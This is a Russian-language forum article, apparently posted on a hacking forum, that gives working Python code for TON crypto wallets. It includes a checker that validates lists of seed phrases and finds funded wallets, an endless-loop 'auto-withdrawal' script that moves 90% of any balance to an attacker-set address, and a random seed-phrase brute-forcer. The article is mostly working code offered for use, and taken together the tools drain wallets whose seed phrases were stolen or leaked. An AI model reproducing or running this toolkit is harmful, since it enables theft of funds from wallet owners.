D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Предисловие
Так как я начал изучение работы с блокчейном TON, я решил разработать несколько инструментов, которые могут быть полезны для участников форума. В этой статье будут представлены два программы: первая — чекер, проверяющий сид-фразы на валидность и наличие баланса, и вторая — программа для постоянного мониторинга балансов кошельков. Если на кошельке обнаруживается ненулевой баланс, программа будет автоматически производить вывод средств. Оба инструмента предназначены для работы с кошельками TON .Как будет работать чекер сид-фраз:
Для начала будут браться сид-фразы из txt.Затем будет создаваться кошелек на основе сид-фразы.
После этого будет определяться баланс кошелька.
При проверке баланса будет несколько проверок, например, на случай, если баланс нулевой или сид-фраза невалидная.
После проверки кошельков результаты проверки будут выводиться в консоль и записываться в новый txt.
Как будет работать софт для автовывода.
Будут браться сид-фразы из TXT файла.Затем на их основе будут создаваться кошельки.
После этого будет проверка баланса на то, чтобы он не был нулевым.
Далее последует создание транзакции на сумму 90% от суммы на кошельке.
P.S. Весь этот софт будет работать в бесконечном цикле, так что программа будет бесконечно проверять баланс и выведет сообщение, если он будет пополнен на кошельках.
P.S.S. Все софты будут проверены только в тестовой сети из-за отсутствия TON. Основной библиотекой для реализации задумки будет tonutils, а API будет использоваться от tonconsole (TonapiClient) - https://tonconsole.com/.
Получить TON в тестовой сети можно в этом телеграм-боте - @testgiver_ton_bot.
Чтобы корректно выводить и пополнять кошельки, потребуется их активировать методом отправки TON друг другу (если для теста будут использованы новореги).
Чтобы узнать, активен ли кошелек, можете перейти по этой ссылке: https://testnet.tonapi.io/v2/accounts/адрес_кошелька. На открывшейся странице найдите ключ "status".
Чекер сид-фраз
Первым будет реализован софт для проверки валидности и баланса, и сразу же нужно указать несколько переменных, в том числе не забыть указать API от tonconsole (TonapiClient).Python: Скопировать в буфер обмена
Код:
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Файл с фразами
file_path = "seed_phrases.txt"
# Файл для сохранения результатов
output_file = "balance_results.txt"
# Файл для валидных кошельков
valid_seeds_file = "valid_seed.txt"
Далее последует основная логика; она обязательно должна находиться внутри асинхронной функции, т.к. вызываемые из библиотеки tonutils методы асинхронные, и вызвать их не в асинхронной функции не получится.
Python: Скопировать в буфер обмена
Код:
async def main() -> None:
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Начальные значения переменных
total_balance = 0 # Общий баланс
wallets_with_balance = 0 # Кошельки с балансом больше нуля
wallets_with_zero_balance = 0 # Кошельки с нулевым балансом
failed_wallets = 0 # Кошельки с ошибками
Далее нужно открыть текстовый файл с сид-фразами и записать все сид-фразы в переменную.
Python: Скопировать в буфер обмена
Код:
with open(file_path, "r") as file:
# Запись сид-фраз, по одной в строку
seed_phrases = [line.strip().split() for line in file]
total_wallets = len(seed_phrases) # Общее количество кошельков
Затем следует основная логика, которая заключается в создании кошелька из сид-фразы, проверке баланса и записи результатов в TXT.
Python: Скопировать в буфер обмена
Код:
# Открытие файлов для записи результатов
with open(output_file, "w") as outfile, open(valid_seeds_file, "w") as valid_file:
# Обработка каждой сид-фразы
for seed in seed_phrases:
try:
# Создание кошелька на основе сид-фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed)
# Проверка баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
# Запись валидной сид-фразы в файл
valid_file.write(" ".join(seed) + "\n")
# Подсчет статистики
total_balance += balance_amount
if balance_amount > 0:
wallets_with_balance += 1
else:
wallets_with_zero_balance += 1
# Запись результата в файл
outfile.write("======================\n")
outfile.write(f"Сид-фраза: {' '.join(seed)}\n")
outfile.write(f"Баланс: {balance_amount}\n")
print(f"Баланс для сид-фразы {' '.join(seed)}: {balance_amount}")
except KeyError as e:
failed_wallets += 1
print(f"Ошибка при получении баланса для сид-фразы {' '.join(seed)}: {e}")
except Exception as e:
failed_wallets += 1
print(f"Неизвестная ошибка для сид-фразы {' '.join(seed)}: {e}")
# Вывод общей статистики
print("\n======== Общая статистика ========")
print(f"Общее количество кошельков: {total_wallets}")
print(f"Общий баланс: {total_balance}")
print(f"Кошельков с балансом > 0: {wallets_with_balance}")
print(f"Кошельков с балансом 0: {wallets_with_zero_balance}")
print(f"Не удалось проверить: {failed_wallets}")
if __name__ == "__main__":
asyncio.run(main())
С софтом проверки на валидность и баланс закончено. Вот как выглядит результат:
P.S. Отображение баланса без отображения сид-фразы связано с тем, что у кошелька статус неактивный. Статус можно проверить по этой ссылке: https://testnet.tonapi.io/v2/accounts/кошелек. На открывшейся странице найдите ключ "status".
Автовывод
Теперь можно приступать к написанию второй программы. Первым делом также будут созданы несколько необходимых переменных.Python: Скопировать в буфер обмена
Код:
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Адрес получателя
destination_address = ""
# Путь к файлу с сид-фразами
file_path = "valid_seed.txt"
В данном проекте будет две функции. Первая функция будет инициализировать клиент, читать сид-фразы из текстового файла и запускать вторую функцию.
Python: Скопировать в буфер обмена
Код:
async def main():
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
while True:
# Чтение сид-фраз из файла
with open(file_path, "r") as file:
seed_phrases = [line.strip().split() for line in file]
# Проверка и перевод для каждого кошелька
for seed_phrase in seed_phrases:
await check_and_transfer(client, seed_phrase)
await asyncio.sleep(1) # Пауза между проверками
Python: Скопировать в буфер обмена
Код:
async def check_and_transfer(client, seed_phrase):
retries = 3 # Количество попыток
for attempt in range(retries):
try:
# Создание кошелька на основе мнемонической фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)
# Проверка баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
# Проверка, если баланс больше 0, выполнить перевод
if balance_amount > 0:
transfer_amount = balance_amount * 0.9 # 90% от баланса
# Создание транзакции и запись возвращенного хэша транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
else:
print(f"Баланс на кошельке: {balance_amount} TON")
break # Завершение цикла при успешной транзакции
except Exception as e:
print(f"Ошибка для кошелька с сид-фразой {' '.join(seed_phrase)}: {e}")
if attempt < retries - 1:
print(f"Повторная попытка {attempt + 1} через 1 секунду...")
await asyncio.sleep(1) # Пауза перед следующей попыткой
else:
print("Все попытки исчерпаны. Переход к следующему кошельку.")
Также хотел разъяснить, как работает создание транзакции. Вызывается метод transfer из библиотеки tonutils, в который передаются такие параметры, как адрес для отправки, сумма и комментарий. В ответ от этого метода приходит хэш транзакции. Дело в том, что даже если транзакция отменена, метод отправит сообщение об удачной отправке транзакции, поэтому нужно добавить проверку на то, что транзакция действительно прошла успешно. Для этого нужно получить информацию о транзакциях на кошельке, куда отправляются деньги, и проверить самую последнюю транзакцию на ключ "success"; этот флаг должен находиться в true. Чтобы получить информацию о транзакциях, нужно воспользоваться этим адресом API: testnet.tonapi.io/v2/blockchain/accounts/адрес_кошелька/transactions.
Итак, первое, что будет сделано, — это новая функция для проверки транзакций.
Python: Скопировать в буфер обмена
Код:
async def check_transaction_confirmation():
retries = 5
url = f"https://testnet.tonapi.io/v2/blockchain/accounts/{destination_address}/transactions"
async with aiohttp.ClientSession() as session:
for attempt in range(retries):
async with session.get(url) as response:
if response.status == 200:
data = await response.json()
first_transaction = data.get("transactions", [{}])[0]
# Проверка подтверждения первой транзакции
if first_transaction.get("success", False):
return True # Транзакция подтверждена
else:
print(f"Попытка {attempt + 1}: транзакция не подтверждена, повтор через 1 секунду.")
await asyncio.sleep(1) # Пауза перед повторной проверкой
return False # Если после пяти попыток транзакция не подтвердилась
Теперь эту функцию нужно вызвать после отправки транзакции внутри функции check_and_transfer.
Python: Скопировать в буфер обмена
Код:
transfer_amount = balance_amount * 0.9 # 90% от баланса
# Создание транзакции и запись возвращенного хэша транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
await asyncio.sleep(5)
# Проверка подтверждения транзакции
confirmed = await check_transaction_confirmation()
if confirmed:
print("Транзакция подтверждена.")
else:
print("Транзакция не подтверждена.")
Вот результаты работы данного софта:
Как видно, после каждой оплаты сумма действительно изменялась, это может означать только то, что автовывод работает и баланс действительно переводился.
На этом софт для проверки баланса по сид-фразе и софт для автовывода завершены.
Генерация сид-фраз и поиск кошельков с балансом
Также хочу просто показать скрипт, генерирующий сид-фразы, а затем кошельки из них и проверку их баланса. Эдакое казино практически с нулевым шансом выигрыша (данный софт мне напоминает Jingleminer, с таким же минимальным шансом, но все же не с нулевым).Python: Скопировать в буфер обмена
Код:
import asyncio
import random
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
file_path = "bip39.txt"
output_file = "results.txt"
async def check_balance_from_random_seed():
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Чтение всех слов из текстового файла
with open(file_path, 'r') as file:
word_list = file.read().split()
while True:
try:
# Генерация сид-фразы из 24 слов
seed_phrase = ' '.join(random.sample(word_list, 24))
# Создание кошелька на основе сид-фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)
# Попытка проверки баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
print(f"Баланс для сид-фразы '{seed_phrase}': {balance_amount} TON")
except Exception as e:
# В случае ошибки баланс = None
balance_amount = None
print(f"Ошибка: {e}. Пропуск и продолжение.")
# Запись данных в файл
with open(output_file, 'a') as f:
f.write(f"Сид-фраза: {seed_phrase}\n")
f.write(f"Адрес кошелька: {wallet.address}\n")
f.write(f"Баланс: {balance_amount if balance_amount is not None else 'не удалось проверить'}\n\n")
await asyncio.sleep(1)
asyncio.run(check_balance_from_random_seed())
Вывод
Думаю, на этом статья подходит к своему концу. Она получилась достаточно простой, но мне кажется, что не бесполезной. Я старался создать софты, которые могут быть полезны пользователям этого форума. Конечно, софты не сказать, чтобы быстрые, но из-за использования API с ограничением в 1 запрос в секунду быстрее сделать не получится. Если у вас есть идеи о том, как улучшить производительность данного софта, с удовольствием прочитаю об этом в комментариях.Ссылка на статью в виде документа - https://docs.google.com/document/d/1HdprSTc5M-5PrJomawSpCHZ3VyUMktQ3ZIW2bbvBiZQ/edit?usp=sharing
Также, если хотите протестировать данные софты в тестовой сети или уже на практике, то предоставляю вам ссылку на GitHub репозиторий - https://github.com/overlordgamedev/Checker-seed-phrase-TON
Сделано OverlordGameDev специально для форума XSS.IS